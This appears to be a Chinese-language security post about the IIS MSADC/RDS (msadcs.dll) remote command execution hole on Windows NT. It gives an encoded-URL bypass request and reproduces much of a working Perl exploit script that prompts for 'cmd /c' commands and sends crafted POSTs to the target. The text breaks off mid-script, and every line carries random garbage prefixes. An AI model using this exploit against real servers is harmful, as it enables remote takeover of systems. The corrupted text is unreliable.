IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^X?[zc GE Psv-y 涉及程序:
]:f1r8<3p Microsoft NT server
Z@*Z@]FC "q%)we 描述:
Eod2vr=Q 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
oL~Yrb%R ,`wxXU7 详细:
w(@`g/b 如果你没有时间读详细内容的话,就删除:
SHaZ-d c:\Program Files\Common Files\System\Msadc\msadcs.dll
vuK 5DG4 有关的安全问题就没有了。
QO%LSRw
zzxU9m~" 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
B
O"+m >Te{a*`"m: 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
7eO8cPy 关于利用ODBC远程漏洞的描述,请参看:
i<T`]g eFx*lYjA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k{;:KW| 44]ae~@a 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
zZy>XHR
H http://www.microsoft.com/security/bulletins/MS99-025faq.asp M\]E;C'"U DnTM#i: 这里不再论述。
2<'gX>TW $X{& KLM[ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[R~HhM IEA[]eik> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
h0gT/x 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Z86[sQBg g5?Fo%W u|Ai<2b$ #将下面这段保存为txt文件,然后: "perl -x 文件名"
}%}eyLm( gf!j|O ; #!perl
/2z2a-!r #
{<i!Pm # MSADC/RDS 'usage' (aka exploit) script
}Jc^p #
CUtk4;^y# # by rain.forest.puppy
II2oV}7? #
;S%wPXj& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;uJVY)7a # beta test and find errors!
\GkcK$Y 6ZM<M7(V use Socket; use Getopt::Std;
@3G3l|~> getopts("e:vd:h:XR", \%args);
q}8R>`Z{ ~!uK;hI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
`j2z=5 6m{3GKaW~ if (!defined $args{h} && !defined $args{R}) {
63~i6 print qq~
,5/gNg Usage: msadc.pl -h <host> { -d <delay> -X -v }
\gzNMI* -h <host> = host you want to scan (ip or domain)
g_q{3PW. -d <seconds> = delay between calls, default 1 second
eD/?$@y -X = dump Index Server path table, if available
EEaFi8 -v = verbose
|GsLcUv6 -e = external dictionary file for step 5
}{ P}P} Rw7Q[I5z% Or a -R will resume a command session
+uH1rF_&@ H<>x_}& ~; exit;}
ZE1#{u~[y Gh< r_O~L3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W[vak F if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
LPXwfEHOm if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
f&,.h"bS if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
vu1:8j $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
f{vnZ|WD if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
c2i^dNp_ QTDI^ZeuF if (!defined $args{R}){ $ret = &has_msadc;
l>:?U die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"kL5HD]TC +Gjy%JFp print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&2g1Oy~ . "cmd /c ";
D]0#A|nF $in=<STDIN>; chomp $in;
5-sxTp $command="cmd /c " . $in ;
\;sUJr"$ S5XFYQ if (defined $args{R}) {&load; exit;}
.z9JoQ #A|MNJ%m print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
|5W u0T &try_btcustmr;
5zUD W? ;\H2U. print "\nStep 2: Trying to make our own DSN...";
w ggl,+7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
'Kq%tM26! &^Xm4r%u_ print "\nStep 3: Trying known DSNs...";
4}0s^>R &known_dsn;
a]Lr<i8#% 0)nU[CY print "\nStep 4: Trying known .mdbs...";
)cvC9gt &known_mdb;
3}sd%vCK APF-*/K? if (defined $args{e}){
1ptP ey print "\nStep 5: Trying dictionary of DSN names...";
@Pa ;h &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
FPu,sz8 \:Nbl<9(9 print "Sorry Charley...maybe next time?\n";
[#.QDe exit;
.NPai4V' i#eb %9Mn ##############################################################################
j#Y8h5r N".
af)5 sub sendraw { # ripped and modded from whisker
;MO
%)) sleep($delay); # it's a DoS on the server! At least on mine...
i
JQS@2=A my ($pstr)=@_;
t[X'OK0W%3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
, n+dB2\ die("Socket problems\n");
GB{%4)%6 if(connect(S,pack "SnA4x8",2,80,$target)){
_|#)tWy} select(S); $|=1;
Bt.WRRpAB print $pstr; my @in=<S>;
Z*oGVr
g select(STDOUT); close(S);
tewC *%3V return @in;
e}Db-7B_~ } else { die("Can't connect...\n"); }}
2AdV=n6Z gXF.e.uU ##############################################################################
P ^D\znvc \oaO7w,:" sub make_header { # make the HTTP request
yDHH05Yl my $msadc=<<EOT
}3QEclZr POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
yYW>) User-Agent: ACTIVEDATA
w
5,- +&; Host: $ip
U/TF,JUI Content-Length: $clen
yJ?4B?p( Connection: Keep-Alive
d#A.A<p* m. XLpD ADCClientVersion:01.06
9]|cs Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@ Gl=1 TT>;!nb --!ADM!ROX!YOUR!WORLD!
j{nL33T% Content-Type: application/x-varg
)WD<Q x&